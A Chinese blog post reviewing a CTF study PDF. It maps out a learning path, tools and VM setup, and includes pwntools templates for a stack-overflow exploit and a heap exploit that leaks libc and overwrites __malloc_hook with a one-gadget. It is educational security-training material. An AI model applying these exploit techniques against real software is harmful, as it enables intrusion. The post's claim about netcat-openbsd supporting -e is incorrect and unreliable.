简介:这是一份面向CTF入门与进阶选手的系统化学习文档,围绕夺旗赛的知识体系与实战能力构建内容,适合希望从零梳理基础、或按题型查漏补缺的安全学习者。压缩包内仅含1个PDF文件,体积约6.69MB,便于离线阅读与随身查阅。文档按基础知识、工具、分类专题、技巧、高级技术、题解与实战等模块组织:基础篇覆盖Linux、Web安全、逆向工程、密码学与Android安全;工具篇梳理QEMU、gdb/peda、IDA Pro、pwntools、Burp Suite等常用环境;专题篇深入栈溢出、ROP、堆利用、内核漏洞利用、SQL注入与XSS等方向;高级篇涉及Fuzz测试、符号执行、反调试与反编译技术;题解与实战篇则结合多个CTF赛题及CVE案例展示分析思路。已有599人学习,适合作为长期查阅的CTF知识地图与实战参考手册。
1. 一份把 CTF 从入门到放弃写成目录树的文档,到底值不值得啃
第一次翻到这份《CTF-All-In-One》的时候,我盯着它的目录看了十分钟——不是被震住,是被劝退。基础知识篇、工具篇、分类专题篇、技巧篇、高级篇、题解篇、实战篇、附录,八大部分往下拆到四级标题,光 Pwn 一个方向就铺了格式化字符串、整数溢出、栈溢出、ROP、Linux 堆利用上中下、内核 ROP、Linux 内核漏洞利用、Windows 内核漏洞利用十条线。这种密度在 CTF 学习资料里不多见,它不像一份教程,更像一张把整个网络安全竞赛知识面摊开的地图。
它解决的核心问题是「不知道学什么、按什么顺序学」。CTF 这个圈子最坑新人的地方不是题目难,是方向太多、工具太杂、网上 writeup 东一榔头西一棒子。这份文档用一棵目录树把 Reverse、Pwn、Web、Crypto、Misc、Mobile 六个方向的知识前置条件串起来,你顺着 Linux 基础 → Web 安全基础 → 逆向工程基础 → 密码学基础 → Android 安全基础这条线走,至少不会在学栈溢出的时候才发现自己连 ELF 结构都没搞明白。适合谁?适合已经决定要打 CTF、但还没找到系统入口的人,也适合打了半年比赛、发现自己只会抄 exp 想回头补底层的人。不适合纯小白当第一本书读,也不适合想速成拿名次的人。
2. 先看清这份文档的知识骨架:六个方向的前置依赖怎么排
2.1 基础知识篇的依赖链不是并列关系
很多人把基础知识篇当成六个平行章节随便挑着看,这是最大的误读。文档把 Linux 基础、Web 安全基础、逆向工程基础、密码学基础、Android 安全基础并列放在第一章,但它们之间存在真实的依赖关系。逆向工程基础下面挂着 C 语言、x86/x86-64 汇编、Linux ELF、Windows PE、静态链接、动态链接、内存管理、glibc malloc 八个小节,这条链是 Pwn 方向的全部地基——你不懂 ELF 段结构就看不懂 pwntools 的 ELF 对象在干什么,不懂 glibc malloc 的 chunk 结构,堆利用那三章基本是天书。
Web 安全基础那条链则是另一套逻辑:HTML → HTTP 协议 → JavaScript → 常见 Web 服务器 → OWASP Top Ten → PHP 源码审计。注意它把 OWASP Top Ten 放在服务器基础之后、PHP 审计之前,这个顺序是有讲究的——你得先知道请求怎么到服务器、服务器怎么交给 PHP 处理,才能理解注入和文件包含发生在哪一层。我一般建议按「Linux 基础 → 逆向工程基础 → 密码学基础」这条主线先走,Web 那条线可以并行,因为它的反馈周期短,做一道 SQL 注入题当天就能看到结果,适合用来维持学习动力。
密码学基础从初等数论、近世代数起步,再进流密码、分组密码、公钥密码、哈希函数、数字签名。这个编排偏理论,实际打 Crypto 题的时候你会发现古典密码和编码解码用得更多,但数论和近世代数是 RSA、椭圆曲线类题目的硬门槛,跳过去迟早要回来补。
2.2 工具篇要按方向取用,不要通读
工具篇列了 QEMU、gdb/peda、ollydbg、windbg、radare2、IDA Pro、pwntools、zio、JEB、metasploit、binwalk、Burp Suite、LLDB 十三样。新手最容易犯的错是从第一个开始一个个装、一个个学,装到 IDA Pro 就卡住了。正确做法是按方向取子集:
| 方向 | 必装工具 | 可选工具 | 说明 |
|---|---|---|---|
| Pwn | gdb/peda、pwntools、zio | QEMU、LLDB | peda 提供堆和栈的可视化,pwntools 负责交互脚本 |
| Reverse | IDA Pro、radare2 | ollydbg、windbg | IDA 静态分析为主,radare2 做命令行补充 |
| Web | Burp Suite | metasploit | Burp 抓包改包是 Web 题的基本功 |
| Misc | binwalk | — | 固件和隐写题拆包用 |
| Mobile | JEB | — | APK 反编译主力 |
这张表不是文档里现成的,是我按它的工具清单和分类专题篇的对应关系反推出来的。工具篇的价值在于它把每个工具的定位写清楚了,比如 zio 是 pwntools 的轻量替代、适合写交互式 exp,binwalk 专攻固件和文件嵌套。你不需要全装,但要知道每个工具在什么场景下出场,遇到对应题型时能想起来去翻哪一节。
2.3 分类专题篇和题解篇的配合方式
分类专题篇是知识,题解篇是验证。文档在题解篇里放了 pwn、re、web 三类的具体题目解析,比如 pwn 下面有 HCTF2016 brop、NJCTF2017 pingme、0CTF2017 BabyHeap2017 这些经典题,re 下面有 XHPCTF2017 dont_panic、Codegate2017 angrybird 等。这些题目的选择不是随机的,它们对应分类专题篇里的具体技术点——BabyHeap2017 对应 Linux 堆利用,brop 对应栈溢出加盲打。
我的用法是:学完分类专题篇的某一节,立刻去题解篇找对应题目,先不看解析自己做,卡住了再对照。文档的题解写得偏思路,不是逐行注释的 exp,所以你需要自己补代码。这个「自己补」的过程恰恰是学习发生的地方,光读解析等于看别人健身。
3. 把文档变成可执行的学习路径:环境搭建与第一个 Pwn 脚本
3.1 用虚拟机隔离实验环境
文档工具篇第一项就是 VM,QEMU 单独列了一节。CTF 练习涉及大量漏洞程序、恶意样本、不信任的二进制,绝对不能在主力机上直接跑。常见做法是用一台虚拟机做实验机,快照随时回滚。下面是我习惯的初始化流程,以 Debian 系为例:
# 更新基础环境,装编译和调试依赖 sudo apt update && sudo apt install -y \ build-essential gcc gdb python3 python3-pip \ git vim file binutils netcat-openbsd # 装 pwntools,Pwn 方向的核心交互库 pip3 install pwntools # 装 peda,给 gdb 加堆栈可视化 git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit # 验证 pwntools 可用 python3 -c "from pwn import *; print(context.arch)"这段脚本做四件事:装编译工具链(gcc、binutils 提供 readelf、objdump)、装调试器 gdb、装 Python 交互库 pwntools、给 gdb 挂 peda 插件。参数上注意netcat-openbsd而不是netcat-traditional,前者支持-e参数的行为更接近 CTF 里常见的 nc 用法。context.arch打印出来是i386说明 pwntools 默认架构加载正常,后面写 exp 时可以用context.arch = 'amd64'切换。
提示:虚拟机装好后先打一个干净快照,之后每次做危险样本前回滚,比事后清理省事得多。
3.2 用 pwntools 写第一个栈溢出 exp
文档在 Pwn 专题里把栈溢出放在整数溢出之后、ROP 之前,这个位置说明它假定你已经理解了函数调用约定和栈帧布局。下面这段 exp 是针对一个典型的 64 位栈溢出程序的模板,你可以拿它套到题解篇的入门题上:
from pwn import * # 指定目标架构和日志级别,调试时用 debug,提交时改 info context.arch = 'amd64' context.log_level = 'debug' # 本地调试用 process,远程用 remote('host', port) io = process('./vuln') # 构造 payload:填充缓冲区 + 覆盖返回地址 offset = 40 # 到返回地址的偏移,用 cyclic 测出来 ret_addr = p64(0x4011a9) # 目标地址,p64 按 64 位小端打包 payload = b'A' * offset + ret_addr io.sendlineafter(b'name:', payload) # 等到提示符再发,避免时序问题 io.interactive() # 接管交互,手动看 shell逻辑说明:offset是缓冲区到返回地址的距离,文档里没直接给,标准做法是用cyclic(100)生成模式串发过去,程序崩溃后看$rsp的值在模式串里的位置,用cyclic_find反查。p64把整数按小端序打成 8 字节,32 位程序要用p32。sendlineafter比sendline稳,因为它会等目标输出特定字符串再发,避免程序还没准备好接收就丢包。interactive()让你在拿到 shell 后手动敲命令,调试阶段必用,正式打远程时换成io.sendline(b'cat flag')再io.recvall()。
参数上最容易翻车的是context.log_level,设成debug会打印所有收发数据,payload 里有大量A的时候刷屏严重,但排查「发了没反应」这类问题时它是唯一能看清时序的手段。我一般调试时开 debug,确认通了立刻改回 info。
3.3 用 checksec 先摸清保护机制
在写 exp 之前,先跑一遍保护检查,这决定了你的利用路线:
# pwntools 自带的 checksec,看二进制开了哪些保护 checksec --file=./vuln # 或者用 pwn 命令进入交互后执行 pwn checksec ./vuln输出里重点看四项:NX开启说明栈不可执行,不能直接塞 shellcode,得走 ROP;Canary开启说明栈上有金丝雀值,栈溢出前要先泄露它;PIE开启说明程序基址随机化,需要先泄露一个代码地址算基址;RELRO为 Full 说明 GOT 表只读,不能改 GOT 劫持。文档在技巧篇里专门讲了 GCC 堆栈保护技术,和这里的 checksec 输出是对应的——你看到 Canary 就该想起 GCC 的-fstack-protector系列参数,看到 RELRO 就该想起链接器的-z relro。这层对应关系打通了,保护机制就不再是玄学。
4. 高级篇那些工具的真实门槛:Fuzz、符号执行与模拟器
4.1 AFL 和 libFuzzer 的适用边界
高级篇把 Fuzz 测试放在最前面,下面分 AFL fuzzer 和 libFuzzer。这两个工具定位不同:AFL 是黑盒/灰盒的二进制 fuzzer,给一个可执行文件加输入就能跑,适合没有源码或者不想改源码的场景;libFuzzer 是编译期插桩的库级 fuzzer,需要你把目标函数包一层LLVMFuzzerTestOneInput并用 clang 的-fsanitize=fuzzer编译。文档把它们并列,但实际选型要看有没有源码。
AFL 的典型启动命令:
# 准备输入种子目录和输出目录 mkdir -p in out echo "seed" > in/seed1 # 对目标二进制启动 AFL,@@ 表示输入文件占位符 afl-fuzz -i in -o out -- ./target @@-i是种子输入目录,-o是崩溃和队列输出目录,@@会被替换成 AFL 生成的临时文件路径。这里有个血泪经验:目标程序如果从 stdin 读输入而不是从文件读,就不要加@@,直接afl-fuzz -i in -o out -- ./target。搞错这一点,AFL 跑几个小时一个 crash 都出不来,因为输入根本没喂进去。另外 AFL 对目标程序的启动开销敏感,如果程序启动就要几百毫秒,fuzzing 效率会低到没法看,这时候要考虑 persistent mode,但那需要改源码,超出文档覆盖范围。
4.2 angr 符号执行的门槛在建模不在命令
符号执行那一节列了 angr、Triton、KLEE、S²E 四个。angr 是 Python 库,上手最快,但它的坑也最集中。一个最简的 angr 求解脚本:
import angr import claripy # 加载二进制,auto_load_libs=False 避免加载系统库拖慢分析 proj = angr.Project('./crackme', auto_load_libs=False) # 从程序入口开始,找到输出 "Correct" 的路径 state = proj.factory.entry_state() simgr = proj.factory.simulation_manager(state) simgr.explore(find=lambda s: b'Correct' in s.posix.dumps(1)) if simgr.found: print(simgr.found[0].posix.dumps(0)) # 打印 stdin 输入逻辑上,entry_state从入口建初始状态,explore用find条件搜索满足的路径,posix.dumps(1)读 stdout、posix.dumps(0)读 stdin。参数上auto_load_libs=False是关键,默认 True 会把 libc 等系统库全加载进来,路径爆炸到跑不完。但关掉它之后,如果目标程序调用了库函数做校验(比如strcmp),angr 可能因为缺少库函数模型而走错路,这时候要么手动 hook 函数,要么把库加回来但限制探索深度。
angr 的真实门槛不是这几行命令,是路径爆炸。程序里一个循环就能让状态数指数增长,文档把它放在高级篇而不是入门篇,隐含的意思就是「知道有这么个东西,遇到合适的题再用」。我一般只在程序逻辑简单、分支少、校验逻辑集中的 crackme 类题目上用 angr,真实二进制分析还是老老实实上 IDA。
4.3 Unicorn 模拟器和 Capstone/Keystone 的配合
高级篇末尾的 Unicorn 模拟器、Capstone/Keystone 反汇编/汇编引擎,这三个是一套组合拳:Capstone 把机器码反汇编成指令,Keystone 把汇编编译成机器码,Unicorn 模拟 CPU 执行指令。文档把它们放在反调试、反编译技术之后,说明定位是「当你没法直接跑目标代码时,用模拟器在受控环境里执行片段」。
典型场景是脱壳或者分析一段自修改代码:你把目标代码段映射到 Unicorn 的内存里,设置好寄存器和栈,单步执行,用 Capstone 反汇编每条指令看它在干什么。这套流程的代码量不小,文档给的是概念和 API 方向,具体实现要自己拼。新手容易低估它的复杂度——Unicorn 不模拟系统调用,遇到syscall指令你得自己 hook 并模拟内核行为,否则程序直接跑飞。
5. 避坑:这份文档用起来最容易翻车的五个地方
5.1 把目录当学习顺序,从第一页硬啃到最后一页
现象:按文档顺序从 CTF 简介开始读,读到密码学的近世代数就卡死,一个月没进展,最后放弃。
原因:文档的章节顺序是知识分类顺序,不是学习路径顺序。近世代数放在密码学基础第二节,但它对新手打 Crypto 题的即时帮助远不如古典密码和编码解码,硬啃理论会消耗掉全部动力。
解决:按「能立刻做题」的原则重排。先 Linux 基础 + Web 安全基础(HTML/HTTP/JS),这两块一周内能让你做出最简单的 Web 题;然后逆向工程基础的 C 和汇编,配合题解篇的 re 入门题;Pwn 放到有汇编基础之后。理论性强的数论、近世代数标记为「遇到 RSA 题再回来查」,当工具书用而不是当教材读。
5.2 工具篇全装,环境冲突到没法调试
现象:按工具篇清单装了 ollydbg、windbg、IDA、radare2、JEB,结果 gdb 加载 peda 报 Python 版本冲突,pwntools 的p64导入失败。
原因:这些工具跨平台、跨 Python 版本,ollydbg 和 windbg 是 Windows 工具,硬塞进 Linux 环境要么靠 wine 要么根本跑不起来;peda 对 gdb 的 Python 版本有要求,系统 Python 和 pwntools 的 Python 不一致就会出问题。
解决:按第 2 章那张方向-工具表取子集,一个方向一个环境。Pwn 用 Linux 虚拟机装 gdb+peda+pwntools,Reverse 用 Windows 虚拟机装 IDA+ollydbg,Mobile 单独一台装 JEB。环境之间用快照隔离,别指望一台机器全装。装完立刻验证:gdb里能source peda.py、python3 -c "from pwn import *"不报错,两个都过了再往下走。
5.3 题解篇只看不写,以为看懂了就是会了
现象:题解篇的 pwn 题目解析读一遍觉得逻辑很顺,自己上手写 exp 时连偏移都测不出来。
原因:题解给的是思路和关键地址,省略了调试过程。偏移怎么测、保护怎么绕、libc 版本怎么对,这些「脏活」才是 Pwn 的核心技能,读解析读不到。
解决:每道题强制自己先写,卡住超过 40 分钟再看解析,看完解析关掉自己重写一遍。偏移用cyclic实测,不要抄解析里的数字,因为编译环境不同偏移会变。libc 版本用ldd看本地、用题目给的 libc 文件跑strings libc.so.6 | grep version确认,对不上就装对应版本或者用 patchelf 换。
5.4 实战篇的 CVE 复现直接在生产环境跑
现象:照着实战篇的 CVE 章节在主力机上编译有漏洞的 tcpdump、wget 版本做复现,结果系统包管理被搞乱。
原因:实战篇的 CVE 复现需要编译特定旧版本软件,直接make install会覆盖系统自带的同名程序,依赖链一乱整个系统都不稳。
解决:所有 CVE 复现都在虚拟机快照里做,编译时用./configure --prefix=/opt/vuln装到独立目录,不碰系统路径。复现完回滚快照。文档实战篇列的那些 CVE 编号是学习素材,不是让你在真实环境里练手的靶子。
5.5 忽略附录里的系统调用表和工具清单
现象:写 shellcode 或者 ROP 链时到处搜系统调用号,搜到的和实际环境对不上。
原因:不同架构、不同内核版本的系统调用号不同,网上搜到的可能是 32 位的,你跑的是 64 位。
解决:文档附录里有 Linux x86-64 系统调用表,直接查它,比搜索引擎可靠。附录的「更多 Linux 工具」「更多 Windows 工具」「更多资源」三节也值得翻,它们是正文工具篇的补充,正文没列全的边角工具在那里。养成习惯:遇到系统调用号、工具名不确定,先翻附录再上网。
6. 用题解篇做闭环验证:一道堆题从读题到 exp 的完整走法
学到一定程度后,判断自己有没有真掌握,标准不是「读完了多少章」,是「能不能独立把题解篇里的一道题从零打到通」。我拿堆利用类的题举例,因为它是文档里铺得最厚、也最容易让人产生「我看懂了」错觉的部分。
第一步是读题和摸底。拿到二进制先跑checksec,看保护;再file看架构和是否静态链接;然后丢进 IDA 看主逻辑,重点找malloc、free、edit、show这几个功能函数。文档在 Linux 堆利用上中下三章里讲的 chunk 结构、bins 分类、unlink、tcache 这些概念,在这一步要能对上号——你看到free之后没有置空指针,就该想到 UAF;看到edit不检查 size,就该想到堆溢出。
第二步是确定利用路线。以 0CTF2017 BabyHeap2017 这类题为例,典型路线是:利用 UAF 或溢出改 chunk size 制造 overlapping chunk,泄露 libc 地址,然后改__malloc_hook或__free_hook为 one-gadget。文档技巧篇里专门有 one-gadget RCE 一节,和这里的利用链是对应的。路线定了再写 exp,不要边写边想。
第三步是分阶段调试。每个阶段单独验证:先确认能泄露 libc,打印出来和本地 libc 的符号偏移对一下;再确认能写到 hook 地址,用 gdb 在free处下断点看参数;最后才拼完整 exp。下面是一个分阶段 exp 的骨架:
from pwn import * context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so.6') # 题目给的 libc,必须和远程一致 def add(size, content): io.sendlineafter(b'Command: ', b'1') io.sendlineafter(b'Size: ', str(size).encode()) io.sendlineafter(b'Content: ', content) def delete(idx): io.sendlineafter(b'Command: ', b'2') io.sendlineafter(b'Index: ', str(idx).encode()) def show(idx): io.sendlineafter(b'Command: ', b'3') io.sendlineafter(b'Index: ', str(idx).encode()) return io.recvline() # 阶段一:制造重叠 chunk,泄露 libc # 具体 chunk 大小和操作序列按题目实际布局调整 add(0x60, b'A' * 0x60) add(0x60, b'B' * 0x60) delete(0) leak = show(0) # UAF 读已释放 chunk 的 fd libc_base = u64(leak.ljust(8, b'\x00')) - libc.symbols['__malloc_hook'] - 0x10 log.success(f'libc base: {hex(libc_base)}') # 阶段二:改 hook 为 one-gadget one_gadget = libc_base + 0x4526a # 偏移用 one_gadget 工具查 # ... 后续写 hook 的操作按题目 edit 功能实现 io.interactive()这段骨架里,libc.symbols['__malloc_hook']从题目给的 libc 文件里取符号偏移,u64把泄露的 8 字节按小端解成整数,ljust(8, b'\x00')补齐是因为recvline可能只收到部分字节。one-gadget 的偏移不要手抄,用one_gadget ./libc.so.6工具查,不同 libc 版本偏移完全不同,抄错就是白打。参数上context.log_level在分阶段调试时设debug看收发,拼完整 exp 打远程时改info减少输出。
第四步是对远程。本地通了不代表远程通,最常见的不一致是 libc 版本。远程打之前用ldd确认本地加载的 libc 和题目给的一致,不一致就用patchelf --set-interpreter和--set-rpath把二进制的解释器和库路径指到题目给的 libc 上。这一步文档在技巧篇的 ELF patch 一节有涉及,但没展开讲 libc 替换,需要自己补。
整套走完,你才算真正消化了堆利用那三章。从那以后我每次学新方向,都强制自己走一遍「读概念 → 找对应题 → 独立写 exp → 对远程」这个闭环,光读不写的话,文档再全也只是别人的知识。希望这份拆解能帮到你,把这份资料真正用起来,而不是收藏夹里吃灰。
本文还有配套的精品资源,点击获取